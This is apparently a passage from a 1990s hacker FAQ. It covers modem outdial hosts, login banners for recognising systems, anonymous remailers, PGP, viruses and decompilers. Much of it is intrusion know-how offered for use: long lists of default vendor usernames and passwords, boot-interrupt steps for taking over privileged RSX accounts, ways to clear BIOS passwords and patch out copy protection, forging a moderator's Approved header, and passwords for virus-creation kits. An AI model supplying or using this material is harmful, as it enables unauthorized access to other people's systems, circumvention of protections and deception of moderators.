617 stagger.Princeton.EDU
617 sunshine-02.lcs.mit.edu
617 waddle.Princeton.EDU
619 128.54.30.1 atdt [area][phone]
619 dialin.ucsd.edu "dialout"
703 modem_pool.runet.edu
703 wal-3000.cns.vt.edu
713 128.249.27.154 "c modem96" "atdt 9xxx-xxxx"
or "Hayes"
713 modem12.bcm.tmc.edu
713 modem24.bcm.tmc.edu
713 modem24.bcm.tmc.edu
714 mdmsrv7.sdsu.edu atdt 8xxx-xxxx
714 modem24.nts.uci.edu
714 pub-gopher.cwis.uci.edu
801 dswitch.byu.edu "C Modem"
808 irmodem.ifa.hawaii.edu
902 star.ccs.tuns.ca "dialout"
916 129.137.33.72
916 cc-dnet.ucdavis.edu connect hayes/dialout
916 engr-dnet1.engr.ucdavis.edu UCDNET C KEYCLUB
??? 128.119.131.11X (1 - 4)
??? 128.200.142.5
??? 128.54.30.1 nue, X to discontinue, ? for Help
??? 128.6.1.41
??? 128.6.1.42
??? 129.137.33.72
??? 129.180.1.57
??? 140.112.3.2 ntu
??? annexdial.rz.uni-duesseldorf.de
??? dial96.ncl.ac.uk
??? dialout.plk.af.mil
??? ee21.ee.ncu.edu.tw cs8005
??? im.mgt.ncu.edu.tw guest
??? modem.cis.uflu.edu
??? modem.ireq.hydro.qc.ca
??? modems.csuohio.edu
??? sparc20.ncu.edu.tw u349633
??? sun2cc.nccu.edu.tw ?
??? ts-modem.une.oz.au
??? twncu865.ncu.edu.tw guest
??? vtnet1.cns.ut.edu "CALL" or "call"

Conclusion
----------
If you find any of the outdials to have gone dead, changed commands,
or require password, please let us know so we can keep this list as
accurate as possible. If you would like to add to the list, feel free
to mail us and it will be included in future versions of this list,
with your name beside it. Have fun...

[Editors note: Updates have been made to this document after
the original publication]

22. What is this system?

AIX
~~~
IBM AIX Version 3 for RISC System/6000
(C) Copyrights by IBM and by others 1982, 1990.
login:

[You will know an AIX system because it is the only Unix system that]
[clears the screen and issues a login prompt near the bottom of the]
[screen]

AS/400
~~~~~~
UserID?
Password?

Once in, type GO MAIN

CDC Cyber
~~~~~~~~~
WELCOME TO THE NOS SOFTWARE SYSTEM.
COPYRIGHT CONTROL DATA 1978, 1987.

88/02/16. 02.36.53. N265100
CSUS CYBER 170-730. NOS 2.5.2-678/3.
FAMILY:

You would normally just hit return at the family prompt. Next prompt is:

USER NAME:

CISCO Router
~~~~~~~~~~~~
FIRST BANK OF TNO
95-866 TNO VirtualBank
REMOTE Router - TN043R1

Console Port

SN - 00000866

TN043R1>

DECserver
~~~~~~~~~
DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1
DPS502-DS700

(c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved

Please type HELP if you need assistance

Enter username> TNO

Local>

Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~
MPE XL:
EXPECTED A :HELLO COMMAND. (CIERR 6057)
MPE XL:
EXPECTED [SESSION NAME,] USER.ACCT [,GROUP] (CIERR 1424)
MPE XL:

GTN
~~~
WELCOME TO CITIBANK. PLEASE SIGN ON.
XXXXXXXX

@
PASSWORD =

@

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

PLEASE ENTER YOUR ID:-1->
PLEASE ENTER YOUR PASSWORD:-2->

CITICORP (CITY NAME). KEY GHELP FOR HELP.
XXX.XXX
PLEASE SELECT SERVICE REQUIRED.-3->

Lantronix Terminal Server
~~~~~~~~~~~~~~~~~~~~~~~~~
Lantronix ETS16 Version V3.1/1(940623)

Type HELP at the 'Local_15> ' prompt for assistance.

Login password>

Meridian Mail (Northern Telecom Phone/Voice Mail System)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
MMM MMMERIDIAN
MMMMM MMMMM
MMMMMM MMMMMM
MMM MMMMM MMM MMMMM MMMMM
MMM MMM MMM MMMMMM MMMMMM
MMM MMM MMM MMM MMM MMM
MMM MMM MMM MMMMM MMM
MMM MMM MMM MMM MMM
MMM MMM MMM MMM
MMM MMM MMM MMM
MMM MMM MMM MMM
MMM MMM MMM MMM
MMM MMM MMM MMM

Copyright (c) Northern Telecom, 1991

Novell ONLAN
~~~~~~~~~~~~
N

[To access the systems it is best to own a copy of ONLAN/PC]

PC-Anywhere
~~~~~~~~~~~
P

[To access the systems it is best to own a copy of PCAnywhere Remote]

PRIMOS
~~~~~~
PRIMENET 19.2.7F PPOA1

ER!

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

CONNECT
Primenet V 2.3 (system)
LOGIN (you)
User id? (system)
SAPB5 (you)
Password? (system)
DROWSAP (you)
OK, (system)

ROLM CBX II
~~~~~~~~~~~
ROLM CBXII RELEASE 9004.2.34 RB295 9000D IBMHO27568
BIND DATE: 7/APR/93
COPYRIGHT 1980, 1993 ROLM COMPANY. ALL RIGHTS RESERVED.
ROLM IS A REGISTERED TRADEMARK AND CBX IS A TRADEMARK OF ROLM COMPANY.
YOU HAVE ENTERED CPU 1
12:38:47 ON WEDNESDAY 2/15/1995

USERNAME: op

PASSWORD:

INVALID USERNAME-PASSWORD PAIR

ROLM-OSL
~~~~~~~~
MARAUDER10292 01/09/85(^G) 1 03/10/87 00:29:47
RELEASE 8003
OSL, PLEASE.
?

System75
~~~~~~~~
Login: root
INCORRECT LOGIN

Login: browse
Password:

Software Version: G3s.b16.2.2

Terminal Type (513, 4410, 4425): [513]

Tops-10
~~~~~~~
NIH Timesharing

NIH Tri-SMP 7.02-FF 16:30:04 TTY11
system 1378/1381/1453 Connected to Node Happy(40) Line # 12
Please LOGIN
.

VM/370
~~~~~~
VM/370
!

VM/ESA
~~~~~~
VM/ESA ONLINE

TBVM2 VM/ESA Rel 1.1 PUT 9200

Fill in your USERID and PASSWORD and press ENTER
(Your password will not appear when you type it)
USERID ===>
PASSWORD ===>

COMMAND ===>

Xylogics Annex Communications Server
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Annex Command Line Interpreter * Copyright 1991 Xylogics, Inc.

Checking authorization, Please wait... -
Annex username: TNO - Optional security check
Annex password: - Not always present

Permission granted
annex:

23. What are the default accounts for XXX?

AIX
~~~
guest guest

AS/400
~~~~~~
qsecofr qsecofr /* master security officer */
qsysopr qsysopr /* system operator */
qpgmr qpgmr /* default programmer */

also

ibm password
ibm 2222
ibm service
qsecofr 1111111
qsecofr 2222222
qserv qserv
qsvr qsvr
secofr secofr
qsrv ibmce1

DECserver
~~~~~~~~~
ACCESS
SYSTEM

Dynix (The library software, not the UnixOS)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(Type 'later' to exit to the login prompt)
setup
library
circ

Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~
HELLO MANAGER.SYS
HELLO MGR.SYS
HELLO FIELD.SUPPORT HPUNSUP or SUPPORT or HP
HELLO OP.OPERATOR
MGR CAROLIAN
MGR CCC
MGR CNAS
MGR CONV
MGR COGNOS
OPERATOR COGNOS
MANAGER COGNOS
OPERATOR DISC
MGR HPDESK
MGR HPWORD
FIELD HPWORD
MGR HPOFFICE
SPOOLMAN HPOFFICE
ADVMAIL HPOFFICE
MAIL HPOFFICE
WP HPOFFICE
MANAGER HPOFFICE
MGR HPONLY
FIELD HPP187
MGR HPP187
MGR HPP189
MGR HPP196
MGR INTX3
MGR ITF3000
MANAGER ITF3000
MAIL MAIL
MGR NETBASE
MGR REGO
MGR RJE
MGR ROBELLE
MANAGER SECURITY
MGR SECURITY
FIELD SERVICE
MANAGER SYS
MGR SYS
PCUSER SYS
RSBCMON SYS
OPERATOR SYS
OPERATOR SYSTEM
FIELD SUPPORT
OPERATOR SUPPORT
MANAGER TCH
MAIL TELESUP
MANAGER TELESUP
MGR TELESUP
SYS TELESUP
MGE VESOFT
MGE VESOFT
MGR WORD
MGR XLSERVER

Common jobs are Pub, Sys, Data
Common passwords are HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote

Major BBS
~~~~~~~~~
Sysop Sysop

Mitel PBX
~~~~~~~~~
SYSTEM

NeXTSTEP
~~~~~~~~
root NeXT
signa signa
me (Rumored to be correct, not checked)

Nomadic Computing Environment (NCE) on the Tadpole Technologies SPARCBook3
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
fax

PICK O/S
~~~~~~~~
DSA # Desquetop System Administrator
DS
DESQUETOP
PHANTOM

Prolog
~~~~~~
PBX PBX
NETWORK NETWORK
NETOP

Radio Shack Screen Savers
~~~~~~~~~~~~~~~~~~~~~~~~~
RS

Rolm
~~~~
CBX Defaults

op op
op operator
su super
admin pwp
eng engineer

PhoneMail Defaults

sysadmin sysadmin
tech tech
poll tech

RSX
~~~
SYSTEM/SYSTEM (Username SYSTEM, Password SYSTEM)
1,1/system (Directory [1,1] Password SYSTEM)
BATCH/BATCH
SYSTEM/MANAGER
USER/USER

Default accounts for Micro/RSX:

MICRO/RSX

Alternately you can hit when the boot sequence asks you for the
date and create an account using:

RUN ACNT
or RUN $ACNT

(Numbers below 10 {oct} are privileged)

Reboot and wait for the date/time question. Type ^C and at the MCR prompt,
type "abo at." You must include the . dot!

If this works, type "acs lb0:/blks=1000" to get some swap space so the
new step won't wedge.

type " run $acnt" and change the password of any account with a group
number of 7 or less.

You may find that the ^C does not work. Try ^Z and ESC as well.
Also try all 3 as terminators to valid and invalid times.

If none of the above work, use the halt switch to halt the system,
just after a invalid date-time. Look for a user mode PSW 1[4-7]xxxx.
then deposit 177777 into R6, cross your fingers, write protect the drive
and continue the system. This will hopefully result in indirect blowing
up... And hopefully the system has not been fully secured.

SGI Irix
~~~~~~~~
4DGifts
guest
demos
lp
nuucp
tour
tutor

System 75
~~~~~~~~~
bcim bcimpw
bciim bciimpw
bcms bcmspw, bcms
bcnas bcnspw
blue bluepw
browse looker, browsepw
craft crftpw, craftpw, crack
cust custpw
enquiry enquirypw
field support
inads indspw, inadspw, inads
init initpw
kraft kraftpw
locate locatepw
maint maintpw, rwmaint
nms nmspw
rcust rcustpw
support supportpw
tech field

Taco Bell
~~~~~~~~~
rgm rollout
tacobell

Verifone Junior 2.05
~~~~~~~~~~~~~~~~~~~~
Default password: 166816

VMS
~~~
field service
systest utep

XON / XON Junior
~~~~~~~~~~~~~~~~
Default password: 166831

24. What port is XXX on?

The file /etc/services on most Unix machines lists the port
assignments for that machine. For a complete list of port
assignments, read RFC (Request For Comments) 1700 "Assigned Numbers"

25. What is a trojan/worm/virus/logic bomb?

This FAQ answer was written by Theora:

Trojan:

Remember the Trojan Horse? Bad guys hid inside it until they could
get into the city to do their evil deed. A trojan computer program is
similar. It is a program which does an unauthorized function, hidden
inside an authorized program. It does something other than what it
claims to do, usually something malicious (although not necessarily!),
and it is intended by the author to do whatever it does. If it's not
intentional, its called a 'bug' or, in some cases, a feature :) Some
virus scanning programs detect some trojans. Some virus scanning
programs don't detect any trojans. No virus scanners detect all
trojans.

Virus:

A virus is an independent program which reproduces itself. It may
attach to other programs, it may create copies of itself (as in
companion viruses). It may damage or corrupt data, change data, or
degrade the performance of your system by utilizing resources such as
memory or disk space. Some virus scanners detect some viruses. No
virus scanners detect all viruses. No virus scanner can protect
against "any and all viruses, known and unknown, now and forevermore".

Worm:

Made famous by Robert Morris, Jr. , worms are programs which reproduce
by copying themselves over and over, system to system, using up
resources and sometimes slowing down the systems. They are self
contained and use the networks to spread, in much the same way viruses
use files to spread. Some people say the solution to viruses and
worms is to just not have any files or networks. They are probably
correct. We would include computers.

Logic Bomb:

Code which will trigger a particular form of 'attack' when a
designated condition is met. For instance, a logic bomb could delete
all files on Dec. 5th. Unlike a virus, a logic bomb does not make
copies of itself.

26. How can I protect myself from viruses and such?

This FAQ answer was written by Theora:

The most common viruses are boot sector infectors. You can help protect
yourself against those by write protecting all disks which you do not
need write access to. Definitely keep a set of write protected floppy
system disks. If you get a virus, it will make things much simpler.
And, they are good for coasters. Only kidding.

Scan all incoming files with a recent copy of a good virus scanner.
Among the best are F-Prot, Dr. Solomon's Anti-virus Toolkit, and
Thunderbyte Anti-Virus. AVP is also a good program. Using more than
one scanner could be helpful. You may get those one or two viruses that
the other guy happened to miss this month.

New viruses come out at the rate of about 8 per day now. NO scanner can
keep up with them all, but the four mentioned here do the best job of
keeping current. Any _good_ scanner will detect the majority of common
viruses. No virus scanner will detect all viruses.

Right now there are about 5600 known viruses. New ones are written all
the time. If you use a scanner for virus detection, you need to make
sure you get frequent updates. If you rely on behavior blockers, you
should know that such programs can be bypassed easily by a technique
known as tunnelling.

You may want to use integrity checkers as well as scanners. Keep in
mind that while these can supply added protection, they are not
foolproof.

You may want to use a particular kind of scanner, called resident
scanners. Those are programs which stay resident in the computer memory
and constantly monitor program execution (and sometimes even access to
the files containing programs). If you try to execute a program, the
resident scanner receives control and scans it first for known viruses.
Only if no such viruses are found, the program is allowed to execute.

Most virus scanners will not protect you against many kinds of trojans,
any sort of logic bombs, or worms. Theoretically, they _could_ protect
you against logic bombs and/or worms, by addition of scanning strings;
however, this is rarely done.

The best, actually only way, to protect yourself is to know what you
have on your system and make sure what you have there is authorized by
you. Make frequent backups of all important files. Keep your DOS
system files write protected. Write protect all disks that you do not
need to write to. If you do get a virus, don't panic. Call the support
department of the company who supplies your anti-virus product if you
aren't sure of what you are doing. If the company you got your
anti-virus software from does not have a good technical support
department, change companies.

The best way to make sure viruses are not spread is not to spread them.
Some people do this intentionally. We discourage this. Viruses aren't
cool.

27. Where can I get more information about viruses?

This FAQ answer was written by Theora:

Assembly language programming books illustrate the (boring) aspect of
replication and have for a long time. The most exciting/interesting
thing about viruses is all the controversy around them. Free speech,
legality, and cute payloads are a lot more interesting than "find first,
find next" calls. You can get information about the technical aspects
of viruses, as well as help if you should happen to get a virus, from
the virus-l FAQ, posted on comp. virus every so often. You can also pick
up on the various debates there. There are alt.virus type newsgroups,
but the level of technical expertise is minimal, and so far at least
there has not been a lot of real "help" for people who want to get -rid-
of a virus.

There are a lot of virus experts. To become one, just call yourself
one. Only Kidding. Understanding viruses involves understanding
programming, operating systems, and their interaction. Understanding
all of the 'Cult of Virus' business requires a lot of discernment. There
are a number of good papers available on viruses, and the Cult of Virus;
you can get information on them from just about anyone listed in the
virus-l FAQ. The FTP site ftp.informatik.uni-hamburg.de is a pretty
reliable site for programs and text.

28. What is Cryptoxxxxxxx?

This FAQ answer is excerpted from: Computer Security Basics
by Deborah Russell
and G.T. Gengemi Sr.

A message is called either plaintext or cleartext. The process of
disguising a message in such a way as to hide its substance is called
encryption. An encrypted message is called ciphertext. The process
of turning ciphertext back into plaintext is called decryption.

The art and science of keeping messages secure is called cryptography,
and it is practiced by cryptographers. Cryptanalysts are
practitioners of cryptanalysis, the art and science of breaking
ciphertext, i.e. seeing through the disguise. The branch of
mathematics embodying both cryptography and cryptanalysis is called
cryptology, and it's practitioners are called cryptologists.

29. What is PGP?

This FAQ answer is excerpted from: PGP(tm) User's Guide
Volume I: Essential Topics
by Philip Zimmermann

PGP(tm) uses public-key encryption to protect E-mail and data files.
Communicate securely with people you've never met, with no secure
channels needed for prior exchange of keys. PGP is well featured and
fast, with sophisticated key management, digital signatures, data
compression, and good ergonomic design.

Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a
high security cryptographic software application for MS-DOS, Unix,
VAX/VMS, and other computers. PGP allows people to exchange files or
messages with privacy, authentication, and convenience. Privacy means
that only those intended to receive a message can read it.
Authentication means that messages that appear to be from a particular
person can only have originated from that person. Convenience means
that privacy and authentication are provided without the hassles of
managing keys associated with conventional cryptographic software. No
secure channels are needed to exchange keys between users, which makes
PGP much easier to use. This is because PGP is based on a powerful
new technology called "public key" cryptography.

PGP combines the convenience of the Rivest-Shamir-Adleman (RSA)
public key cryptosystem with the speed of conventional cryptography,
message digests for digital signatures, data compression before
encryption, good ergonomic design, and sophisticated key management.
And PGP performs the public-key functions faster than most other
software implementations. PGP is public key cryptography for the
masses.

30. What is Tempest?

Tempest stands for Transient Electromagnetic Pulse Surveillance
Technology.

Computers and other electronic equipment release interference to their
surrounding environment. You may observe this by placing two video
monitors close together. The pictures will behave erratically until you
space them apart.

What is important for an observer is the emission of digital pulses (1s
and 0s) as these are used in computers. The channel for this radiation
is in two arrangements, radiated emissions and conducted emissions.
Radiated emissions are assembled when components in electrical devices
form to act as antennas. Conducted emissions are formed when radiation
is conducted along cables and wires.

Although most of the time these emissions are simply annoyances, they
can sometimes be very helpful. Suppose we wanted to see what project a
target was working on. We could sit in a van outside her office and use
sensitive electronic equipment to attempt to pick up and decipher the
radiated emissions from her video monitor. These emissions normally
exist at around 55-245 Mhz and can be picked up as far as one kilometer
away.

A monitoring device can distinguish between different sources emitting
radiation because the sources emanating the radiation are made up of
dissimilar elements and so this coupled with other factors varies the
emitted frequency. For example different electronic components in VDUs,
different manufacturing processes involved in reproducing the VDUs,
different line syncs, etc... By synchronizing our raster with the
targets raster we can passively draw the observed screen in real-time.
This technology can be acquired by anyone, not just government agencies.

The target could shield the emissions from her equipment or use
equipment that does not generate strong emissions. However, Tempest
equipment is not legal for civilian use in the United States.

Tempest is the US Government program for evaluation and endorsement of
electronic equipment that is safe from eavesdropping. Tempest
certification refers to the equipment having passed a testing phase and
agreeing to emanations rules specified in the government document NACSIM
5100A (Classified). This document sets forth the emanation levels that
the US Government believes equipment can give off without compromising
the information it is processing.

31. What is an anonymous remailer?

This FAQ answer was written by Raph Levien:

An anonymous remailer is a system on the Internet that allows you to
send e-mail or post messages to Usenet anonymously.

There are two sorts of remailers in widespread use. The first is the
anon.penet.fi style, the second is the cypherpunk style. The remailer
at anon.penet.fi is immensely popular, with over 160,000 users over its
lifetime, and probably tens of thousands of messages per day. Its main
advantage is that it's so easy to use. The cypherpunks mailers, which
provide much better security, are becoming more popular, however, as
there is more awareness of them.

The user of the anon.penet.fi system first needs to get an anonymous id.
This is done either by sending mail to somebody who already has one (for
example, by replying to a post on Usenet), or sending mail to
ping@anon.penet.fi. In either case, penet will mail back the new anon
id, which looks like an123456@anon.penet.fi. If an123456 then sends
mail to another user of the system, then this is what happens:

1. The mail is transported to anon.penet.fi, which resides somewhere in
the vicinity of Espoo, Finland.

2. These steps are carried out by software running on anon.penet.fi.
Penet first looks up the email address of the sender in its
database, then replaces it with the numeric code. All other
information about the sender is removed.

3. Then, penet looks up the number of the recipient in the same
database, and replaces it with the actual email address.

4. Finally, it sends the mail to the actual email address of the
recipient.

There are variations on this scheme, such as posting to Usenet (in which
step 3 is eliminated), but that's the basic idea.

Where anon.penet.fi uses a secret database to match anon id's to actual
email addresses, the cypherpunks remailers use cryptography to hide the
actual identities. Let's say I want to send email to a real email
address, or post it to Usenet, but keep my identity completely hidden.
To send it through one remailer, this is what happens.

1. I encrypt the message and the recipient's address, using the public
key of the remailer of my choice.

2. I send the email to the remailer.

3. When the remailer gets the mail, it decrypts it using its private
key, revealing as plaintext the message and the recipient's address.

4. All information about the sender is removed.

5. Finally, it sends it to the recipient's email address.

If one trusts the remailer operator, this is good enough. However, the
whole point of the cypherpunks remailers is that you don't _have_ to
trust any one individual or system. So, people who want real security
use a chain of remailers. If any one remailer on the "chain" is honest,
then the privacy of the message is assured.

To use a chain of remailers, I first have to prepare the message, which
is nestled within multiple layers of encryption, like a Russian
matryoshka doll. Preparing such a message is tedious and error prone,
so many people use an automated tool such as my premail package.
Anyway, after preparing the message, it is sent to the first remailer in
the chain, which corresponds to the outermost layer of encryption. Each
remailer strips off one layer of encryption and sends the message to the
next, until it reaches the final remailer. At this point, only the
innermost layer of encryption remains. This layer is stripped off,
revealing the plaintext message and recipient for the first time. At
this point, the message is sent to its actual recipient.

Remailers exist in many locations. A typical message might go through
Canada, Holland, Berkeley, and Finland before ending up at its final
location.

Aside from the difficulty of preparing all the encrypted messages,
another drawback of the cypherpunk remailers is that they don't easily
allow responses to anonymous mail. All information about the sender is
stripped away, including any kind of return address. However the new
alias servers promise to change that. To use an alias server, one
creates a new email address (mine is raph@alpha.c2.org). Mail sent to
this new address will be untraceably forwarded to one's real address.

To set this up, one first encrypts one's own email address with multiple
layers of encryption. Then, using an encrypted channel, one sends the
encrypted address to the alias server, along with the nickname that one
would like. The alias server registers the encrypted address in the
database. The alias server then handles reply mail in much the same way
as anon.penet.fi, except that the mail is forwarded to the chain of
anonymous remailers.

For maximum security, the user can arrange it so that, at each link in
the chain, the remailer adds another layer of encryption to the message
while removing one layer from the email address. When the user finally
gets the email, it is encrypted in multiple layers. The matryoshka has
to be opened one doll at a time until the plaintext message hidden
inside is revealed.

One other point is that the remailers must be reliable in order for all
this to work. This is especially true when a chain of remailers is used
-- if any one of the remailers is not working, then the message will be
dropped. This is why I maintain a list of reliable remailers. By
choosing reliable remailers to start with, there is a good chance the
message will finally get there.

32. What are the addresses of some anonymous remailers?

The most popular and stable anonymous remailer is anon.penet.fi,
operated by Johan Helsingus. To obtain an anonymous ID, mail
ping@anon.penet.fi.

The server at anon.penet.fi does it's best to remove any headers or
other information describing its true origin. You should make an effort
and try to omit information detailing your identity within such messages
as quite often signatures not starting with "--" are including within
your e-mail, this of course is not what you want. You can send messages
to:

anXXX@anon.penet.fi

Here you are addressing another anonymous user and your E-Mail message
will appear to have originated from anon.penet.fi.

alt.security@anon.penet.fi

Here you are posting an anonymous message to a whole Usenet group and in
this case to alt.security which will be posted at the local site (in
this case Finland).

ping@anon.penet.fi

If you send a message to this address you will be allocated an identity
(assuming you don't already have one). You can also confirm your
identity here as well.

You can also set yourself a password, this password helps to
authenticate any messages that you may send. This password is included
in your outgoing messages, to set a password send E-Mail to
password@anon.penet.fi with your password in the body of your text e.g.:

To: password@anon.penet.fi
Subject:
TN0_rUlEz

For more information on this anonymous server send mail to:

help@anon.penet.fi

Anonymous Usenet posting is frowned upon by other users of Usenet groups
claiming their opinions are worthless. This is because they believe
anonymity is used to shield ones self from attacks from opponents, while
on the other hand it can be used to protect ones self from social
prejudice (or people reporting ones opinions to ones superiors). Also
if you are thinking this is a useful tool to use to hid against the
authorities then think again, as there was a famous case where a Judge
ordered the administrator of the server to reveal the identity of a
poster.

To see a comprehensive list on anonymous remailers finger
remailer-list@kiwi.cs.berkeley.edu or point your web browser to
http://www.cs.berkeley.edu/~raph/remailer-list.html.

33. How do I defeat Copy Protection?

There are two common methods of defeating copy protection. The first
is to use a program that removes copy protection. Popular programs
that do this are CopyIIPC from Central Point Software and CopyWrite
from Quaid Software. The second method involves patching the copy
protected program. For popular software, you may be able to locate a
ready made patch. You can them apply the patch using any hex editor,
such as debug or the Peter Norton's DiskEdit. If you cannot, you must
patch the software yourself.

Writing a patch requires a debugger, such as Soft-Ice or Sourcer. It
also requires some knowledge of assembly language. Load the protected
program under the debugger and watch for it to check the protection
mechanism. When it does, change that portion of the code. The code
can be changed from JE (Jump on Equal) or JNE (Jump On Not Equal) to
JMP (Jump Unconditionally). Or the code may simply be replaced with
NOP (No Operation) instructions.

34. What is 127.0.0.1?

127.0.0.1 is a loopback network connection. If you telnet, ftp, etc...
to it you are connected to your own machine.

35. How do I post to a moderated newsgroup?

Usenet messages consist of message headers and message bodies. The
message header tells the news software how to process the message.
Headers can be divided into two types, required and optional. Required
headers are ones like "From" and "Newsgroups." Without the required
headers, your message will not be posted properly.

One of the optional headers is the "Approved" header. To post to a
moderated newsgroup, simply add an Approved header line to your
message header. The header line should contain the newsgroup
moderators e-mail address. To see the correct format for your target
newsgroup, save a message from the newsgroup and then look at it using
any text editor.

A "Approved" header line should look like this:

Approved: will@gnu.ai.mit.edu

There cannot not be a blank line in the message header. A blank line
will cause any portion of the header after the blank line to be
interpreted as part of the message body.

For more information, read RFC 1036: Standard for Interchange of
USENET messages.

36. How do I post to Usenet via e-mail?

Through an e-mail->Usenet gateway. Send an a e-mail messages to
@. For example, to post to alt.2600 through
nic.funet.fi, address your mail to alt.2600@nic.funet.fi.

Here are a few e-mail->Usenet gateways:

group.name@news.demon.co.uk
group.name@charm.magnus.acs.ohio-state.edu
group.name@undergrad.math.uwaterloo.ca
group.name@nic.funet.fi
group.name.usenet@decwrl.dec.com

37. How do I defeat a BIOS password?

This depends on what BIOS the machine has. Common BIOS's include AMI,
Award, IBM and Phoenix. Numerous other BIOS's do exist, but these are
the most common.

Some BIOS's allow you to require a password be entered before the system
will boot. Some BIOS's allow you to require a password to be entered
before the BIOS setup may be accessed.

Every BIOS must store this password information somewhere. If you are
able to access the machine after it has been booted successfully, you
may be able to view the password. You must know the memory address
where the password is stored, and the format in which the password is
stored. Or, you must have a program that knows these things.

The most common BIOS password attack programs are for Ami BIOS. Some
password attack programs will return the AMI BIOS password in plain
text, some will return it in ASCII codes, some will return it in scan
codes. This appears to be dependent not just on the password attacker,
but also on the version of Ami BIOS.

To obtain Ami BIOS password attackers, ftp to oak.oakland.edu
/simtel/msdos/sysutil/.

If you cannot access the machine after if has been powered up, it is
still possible to get past the password. The password is stored in CMOS
memory that is maintained while the PC is powered off by a small
battery, which is attached to the motherboard. If you remove this
battery, all CMOS information will be lost. You will need to re-enter
the correct CMOS setup information to use the machine. The machines
owner or user will most likely be alarmed when it is discovered that the
BIOS password has been deleted.

On some motherboards, the battery is soldered to the motherboard, making
it difficult to remove. If this is the case, you have another
alternative. Somewhere on the motherboard you should find a jumper that
will clear the BIOS password. If you have the motherboard
documentation, you will know where that jumper is. If not, the jumper
may be labeled on the motherboard. If you are not fortunate enough for
either of these to be the case, you may be able to guess which jumper is
the correct jumper. This jumper is usually standing alone near the
battery.

38. What is the password for ?

This FAQ answer was written by crypt

Magazine Password
~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~
VLAD Magazine Issue #1 vlad
VLAD Magazine Issue #2 vx
VLAD Magazine Issue #3 virus
NuKE InfoJournal Issue #2 514738
NuKE InfoJournal Issue #3 power
NuKE InfoJournal Issue #4 party

Program
~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~
Sphere Hacker 1.40 & 1.41 theozone
Virus Creation 2000 high level
Virus Construction Lab Chiba City
Ejecutor Virus Creator EJECUTOR
Biological Warfare v0.90 lo tek
Biological Warfare v1.00 freak

39. Is there any hope of a decompiler that would convert an executable
program into C/C++ code?

This FAQ answer is an excerpt from SNIPPETS by Bob Stout.

Don't hold your breath. Think about it... For a decompiler to work
properly, either 1) every compiler would have to generate substantially
identical code, even with full optimization turned on, or 2) it would
have to recognize the individual output of every compiler's code
generator.

If the first case were to be correct, there would be no more need for
compiler benchmarks since every one would work the same. For the second
case to be true would require in immensely complex program that had to
change with every new compiler release.

OK, so what about specific decompilers for specific compilers - say a
decompiler designed to only work on code generated by, say, BC++ 4.5?
This gets us right back to the optimization issue. Code written for
clarity and understandability is often inefficient. Code written for
maximum performance (speed or size) is often cryptic (at best!) Add to
this the fact that all modern compilers have a multitude of optimization
switches to control which optimization techniques to enable and which to
avoid. The bottom line is that, for a reasonably large, complex source
module, you can get the compiler to produce a number of different object
modules simply by changing your optimization switches, so your
decompiler will also have to be a deoptimizer which can automagically
recognize which optimization strategies were enabled at compile time.

OK, let's simplify further and specify that you only want to support one
specific compiler and you want to decompile to the most logical source
code without trying to interpret the optimization. What then? A good
optimizer can and will substantially rewrite the internals of your code,
so what you get out of your decompiler will be, not only cryptic, but in
many cases, riddled with goto statements and other no-no's of good
coding practice. At this point, you have decompiled source, but what
good is it?

Also note carefully my reference to source modules. One characteristic
of C is that it becomes largely unreadable unless broken into easily
maintainable source modules (.C files). How will the decompiler deal
with that? It could either try to decompile the whole program into some
mammoth main() function, losing all modularity, or it could try to place
each called function into its own file. The first way would generate
unusable chaos and the second would run into problems where the original
source hade files with multiple functions using static data and/or one
or more functions calling one or more static functions. A decompiler
could make static data and/or functions global but only at the expense
or readability (which would already be unacceptable).

Finally, remember that commercial applications often code the most
difficult or time-critical functions in assembler which could prove
almost impossible to decompile into a C equivalent.

Like I said, don't hold your breath. As technology improves to where
decompilers may become more feasible, optimizers and languages (C++, for
example, would be a significantly tougher language to decompile than C)
also conspire to make them less likely.

For years Unix applications have been distributed in shrouded source
form (machine but not human readable -- all comments and whitespace
removed, variables names all in the form OOIIOIOI, etc.), which has been
a quite adequate means of protecting the author's rights. It's very
unlikely that decompiler output would even be as readable as shrouded
source.

40. How does the MS-Windows password encryption work?

This FAQ answer was written by Wayne Hoxsie

The password option in MS Win 3.1 is easily defeated, but there are
those of us who really want to know how MS does this. There are many
reasons why knowing the actual password can be useful. Suppose a
sysamin used the same password in the windows screen saver as his root
account on a unix box.

Anyway, I will attempt to relay what I have learned about this algorithm.

I will describe the process starting after you've entered the password
and hit the [OK] button.

I will make the assumtion that everyone (at least those interested) know
what the XOR operation is.

First, the length of the password is saved. We'll call this 'len'. We
will be moving characters from the entered string into another string as
they are encrypted. We'll call the originally entered password
'plaintext' and the encrypted string(strings--there are two passes)
'hash1' and 'hash2.' The position in the plaintext is important during
the process so we'll refer to this as 'pos.' After each step of the
hashing process, the character is checked against a set of characters
that windows considers 'special.' These characters are '[ ] =' and any
character below ASCII 33 or above ASCII 126. I'll refer to this
checking operation as 'is_ok.' All indecies are zero-based (i.e. an 8
character password is considered chars 0 to 7).

Now, the first character of 'plaintext' is xor'd with 'len' then fed to
'is_ok'. if the character is not valid, it is replaced by the original
character of 'plaintext' before going to the next operation. The next
operation is to xor with 'pos' (this is useless for the first operation
since 'len' is 0 and anything xor'd with zero is itself) then fed to
'is_ok' and replaced with the original if not valid. The final
operation (per character) is to xor it with the previous character of
'plaintext'. Since there is no previous character, the fixed value, 42,
is used on the first character of 'plaintext'. This is then fed to
'is_ok' and if OK, it is stored into the first position of 'hash1' This
process proceeds until all characters of plaintext are exhausted.

